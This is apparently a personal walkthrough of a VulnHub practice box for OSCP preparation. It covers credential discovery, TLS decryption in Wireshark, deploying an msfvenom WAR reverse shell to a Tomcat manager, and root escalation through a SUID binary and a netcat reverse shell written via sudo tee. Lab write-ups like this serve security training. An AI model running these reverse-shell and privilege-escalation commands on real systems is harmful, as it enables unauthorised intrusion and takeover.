This box is from the Tj NULL list for OSCP preparation and can be downloaded from vulnhub. This box exploitation involved following steps:
- Enumerating most common ports
- Enumeration and Enumeration Looking deep and everywhere
- Wireshark decryting SSL packets
- Exploiting init.d write permission to Privelege escalation.
I started with the nMap scan. I use autorecon for nmap scan and to my surprise this box had all ports open. So I decided to start with most popular ports.
Port 21 FTP declined to connect. I moved to port 80. I saw a webserver running.
I started looking from the source code and saw the base64 code hidden. It double encoded and it returned pgibbons:damnitfeel$goodtobeagang$ta after decoding.
I did a nmap script scan on port 80 and it returned some interesting details.
I found the impresscms portal. It has a login page and I used the username and password found before and we are in.
Looking around the CMS found few interesting stuff.
I downloaded the pcap file. But most of the packets are encrypted. We do have the .keystore file and password from above.
Now I had no idea how to do this. After long research, I found that we need to convert the .keystore which is a java key file to .p12 format and import it to Wireshark for decryption. I found a cool app to convert the .keystore to p12 format. Application is key-store explorer and you just import he .keystore file and export it to any format you like, p12 in this case.
Wireshark Edit ->Preferences -> Protocols ->TLS ->edit RSA keys
And I imported that key to the TLS protocol in wireshark, after which I was able to decrypt the packets.
So I found another port 8443 running HTTPS SSL. And when I followed the TLS path in Wireshark, I found a base64 encoded text.
Its another username and password
Now the main trouble began. No matter what I try to open the https://192.168.110.140:8443/_M@nag3Me/html my browser failed. I opened a inbuilt browser in burpsuite and was able to get access to the site, but it asked for a password. I tried the password found from wireshark.
I got in. It is a tomcat web application manager.
Found an upload file location where we can upload the WAR file to deploy. I hope this gives us a shell.
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.4 LPORT=4444 -f war -o shell.war
Upload the payload and you will see your file in the Application list. Click the payload and you get the reverse shell.
Running Linpeas got me something.
Now I spent nearly more than 2 hours to exploit this. I edited the portly.sh file to contain the below link. I created a hello.c file and compiled it using gcc. What this does is give SUID to hello and it when run gives us root access.
chown root:root /var/www/html/images/hello
chmod 4755 /var/www/html/images/hello
On the other side, I went to /var/www/html/images and created hello.c
int main()
{
setgid(0);
setuid(0);
system("/bin/bash");
}
Then compiled it using gcc hello.c -o hello . Then restarted (force fully) the VM.Now when I checked the hello binary. It has SETUID permission.
When we run that binary we are root.
I am sure this is not the intended way to price escalation as I manually turned off VM for the exploitation to happen.
I found another vector for privilege escalation. Further looking at the /images directory I came to the image which says I’m gonna need to look at the source code.
Now looking at the metadata using ExifTool. I can see a comment there. I guess it can be a password for another user.
I can see two users inside home directory. Let’s try to spray the password. Yeah BOOM got into blumbergh. Running sudo -l I see that we can run sudo without a password for a command.
Before proceeding to exploit let me tell you what this means. So we can use the whole command without sudo. We cannot use /usr/bin/tee alone with sudo privilege. I used a basic netcat payload to get a reverse shell.
echo "nc -e /bin/sh 192.168.110.4 1234" | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
This box was really intense. Had to do a lot of research. Definitely learnt new skills.